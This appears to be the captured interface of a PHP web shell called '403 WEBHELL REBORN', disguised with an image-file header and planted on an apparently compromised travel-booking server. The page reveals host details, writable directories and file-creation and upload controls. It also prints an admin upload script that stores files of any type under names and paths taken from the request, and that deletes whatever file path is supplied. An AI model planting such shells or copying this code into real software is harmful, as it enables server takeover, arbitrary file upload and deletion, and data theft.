ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/erp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/erp/uploadFile.ajax.php
<?php
    if($_POST['mode'] == 'upload'){
        //파일 업로드
        $image          = $_FILES['attachment'];
        $fileName = $_FILES['attachment']['name'];
        $image_prefix   = 'path';
        $a_idx = $_POST['a_idx'];
        $e_idx = $_POST['e_idx'];

        if(!is_dir('./upload/'.$a_idx.'_'.$e_idx)) {
            mkdir('./upload/'.$a_idx.'_'.$e_idx);
        }

        if(move_uploaded_file($image['tmp_name'], './upload/'.$a_idx.'_'.$e_idx.'/'.$fileName)){
            echo json_encode(
                array(
                    'result' => true,
                    'a_idx' => $a_idx,
                    'e_idx' => $e_idx,
                    'fileName' => $fileName,
                )
            );
        }else{
            echo json_encode(
                array(
                    'result' => false,
                )
            );
        }

    }else{
        //파일 삭제
        $filePath = $_POST['filePath'];

        if(unlink($filePath)){
            echo json_encode(
                array(
                    'result' => true,
                    'filePath' => $filePath,
                )
            );
        }else{
            echo json_encode(
                array(
                    'result' => false,
                )
            );
        }
    }

    exit;
?>

Anon7 - 2021